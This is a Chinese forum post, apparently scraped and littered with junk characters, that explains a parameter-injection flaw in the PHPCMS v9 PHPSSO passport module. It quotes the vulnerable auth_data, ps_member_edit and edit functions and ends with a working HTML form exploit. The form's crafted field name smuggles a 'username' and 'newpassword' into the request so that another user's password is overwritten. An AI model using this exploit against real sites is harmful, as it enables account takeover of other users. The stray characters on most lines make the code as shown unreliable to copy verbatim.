提到的通行证的代码:
! _/ _0 [4 C1 \2 l% u$ ]
. ]- H4 q9 Z; M! E3 W# k3 H: k8 K0 y6 o
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);# p3 `: P+ }+ D) f
; P0 D) s% a! w: ~. R& E+ d
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。2 w! J2 I+ J" y! O9 i
! }1 Y# ~- F) ~$ w+ {) F
我把它留给了你们。! @3 ^1 @' [! q( R
不知道你们发现了它没有。+ K/ S3 M1 A! z, R" [% |% s
9 i2 A4 R. V* w% a, x! K$ `我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
6 I& R* f( G& S' A
+ v" o$ G$ C8 \* e5 H所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
7 v9 @3 K8 m* R- b
/ S ?5 ~9 {0 V: @" C& P也就是
" ?& j. l( q L9 H+ P9 e
3 G1 L- @: z. c9 susername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
3 Q' \) k" ], a* m' d- k! W6 ? x6 ]
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。/ X% X6 O$ C% Z9 D& G
C+ Z; t) T- i% ~, O3 W0 ~
) r7 V: F i4 K8 I其实我们有这样的机会,看看代码,如下:
2 K+ G! o7 d7 X2 g2 g: I
# I" h+ P8 d1 l6 p7 I4 _: M1 y) F! r$ l( ~0 S& h: x+ P. P8 m
public function auth_data($data) {
! o' J+ ]* k, z% O $s = $sep = '';, C; z, C8 g6 k8 O4 z+ t A2 u9 ~
foreach($data as $k => $v) {! @$ e+ A8 ]% d" Q3 T. S9 R, O
if(is_array($v)) {; e' u0 m& Q( y7 l: |
$s2 = $sep2 = '';6 z' d x0 O4 q& |
foreach($v as $k2 => $v2) {
' P3 X; N1 D$ x $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);( e1 k2 U+ F% m1 @3 Y$ ?
$sep2 = '&';
& p, r% q$ g/ W$ ^+ Z1 i% Y }
$ }/ ]2 \9 }; N3 Y $s .= $sep.$s2;3 B+ n3 S y, n) z) }! Y
} else {* E; ]% d: n# l) ^! J+ S* D
$s .= "$sep$k=".$this->_ps_stripslashes($v);' S( a6 s# s6 {. G% p+ ?( [( {( ^8 g
}
9 X2 Z$ M$ p: ^- a* y/ h7 L $sep = '&';; j1 @) y7 h$ R# s
}1 }/ d* u5 S3 P+ Y8 j2 c: k Z
/ b; N( Z3 @% w6 g
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
- U9 \) C4 j. h) o9 ? return $auth_s;$ w7 y, S! E O" G3 [& g9 i* {
}
% B& t7 n0 x5 H" x( J0 v. Z; z# {4 n
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
$ c% n9 X% w2 F" V, R$ l
7 Z( H+ |9 s/ C& `$ n8 Y* `6 p举个例子
7 d3 M, s9 C0 ~4 o/ \# f; f, w; V& {/ R, z* u7 D
$a[aaa=a&bbb] = 'a';
/ y2 c9 e. F$ T! G
/ K( J& d: l0 x* o' r会变成aaa=a&bbb=a
& i# d c3 Y& J* C4 E" J7 V. k" e" W0 P
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
, }: X' M4 m& Q a5 w
' e+ s' |7 d: K- E: j这个时候,我们可以再去看一个函数。
) [# }3 ~* u+ Y7 ?" e* O- T$ t ]3 E/ g3 C/ s- ~! y
就在这个文件内:
# Y q; q6 y& r1 T/ R1 H" w1 ]& _5 j
3 T+ [5 w) c& ]: {% d- v
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {: ~& h, a5 f; K- Z1 G
if($email && !$this->_is_email($email)) {
; G+ w* a. D3 \7 O9 ] return -4;
4 O; Q1 v3 g5 z% U- z, _+ C7 y }
4 }9 k# U' |$ j3 n# d( ] return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
. S, E) t. k9 E0 q! Y }
" u: Y2 ?2 p: a) c
1 ~5 i* N/ G, m! O+ O; ~1 ]这是向通行证发了这样一个请求。
" R/ m6 s5 U! d; _: ] C
1 s/ r% X& u) K0 v. H. ]3 c我们再跟到通信证代码里去看看,就会有所发现。9 [# J% r9 Y8 Z! Y
8 N* I$ Z8 L! d! T
# S2 Z7 `, ?$ N$ S d4 o. l
public function edit() {
& N7 T* S" i- b* f% P+ M//能省就省,太长了不是吗?* G" ]5 l/ q' H' E! }
; `- ?- j3 r6 g0 x5 p, r
if($this->username) {
1 l6 |: I4 D7 Q1 t' P//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。4 n: G" \: \% n2 K& }
$res = $this->db->update($data, array('username'=>$this->username));" N. m0 g: X7 c' C9 U, c" q
} else {
( q t& f8 O; d# q# g1 ? file_put_contents('typeb.txt',print_r($data,1).$this->uid);
$ c2 u0 v' W" o; I. s3 ] $res = $this->db->update($data, array('uid'=>$this->uid));
/ M* U0 t9 E- l& P1 _ }5 l2 t$ v) I" A- M) n
5 z$ K: B; n: Y, v
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
" J: D+ b! f/ z' g8 D$ q" m* n" R; ]' b) s
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random=''): v+ ?1 a$ X2 T3 k& K" ]: V0 h
+ O$ o% y+ j/ m, w4 Q# X" I% S
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
0 \5 A% L- v' s! C" N8 Z# I |9 M$ q- y& X
我当然找到了:+ L4 E! O W' X4 Q9 r+ j
phpcms9/phpcms/modules/member/index.php: \ _# y3 ]1 W
1 c8 y L) `8 M, t$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
% f: r) x1 t& R
0 S- n; p2 @& h/ K然后就没有然后了。# H w. Z4 i& C* l4 H& d. a
( |* a. y+ u4 E# t- u<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
+ c4 A% g5 o0 W) e <table width="100%" cellspacing="0" class="table_form">
; k- d3 c* J& t; c <tr>1 `. [3 k5 `/ S
<th width="80">邮箱:</th>
$ J, g& L" |( ~ <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
9 F. N* R! W7 x: [ </tr>
. }8 E8 X" j0 }5 R <tr> b& G) Y" ]. S0 W4 G; [/ g
<th width="80">原密码:</th> # E" Q5 `0 {8 t
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
" {* k" m6 w2 z </tr>2 ^' |; p1 O7 p& `. E
<tr>* s3 \, [( Z# P$ c8 X* S! F
<th>新密码:</th>
0 G7 k* r, N( u9 S3 y3 G' v, L <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>- V$ Q. U# g1 z' k! w
</tr>- @# t v s* I( c% f
<th></th>2 H- S. x0 N9 j7 a) o
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
. g+ {1 u. B% d! m </tr>
6 L6 d' N5 \1 C# O </table>
1 J4 G: J0 A$ ^/ N. R) C6 L- X2 T' }% R8 K
3 w; _( g* L) E; j7 o$ [ </form>
7 J1 G6 B ?9 r# j, y7 p4 V |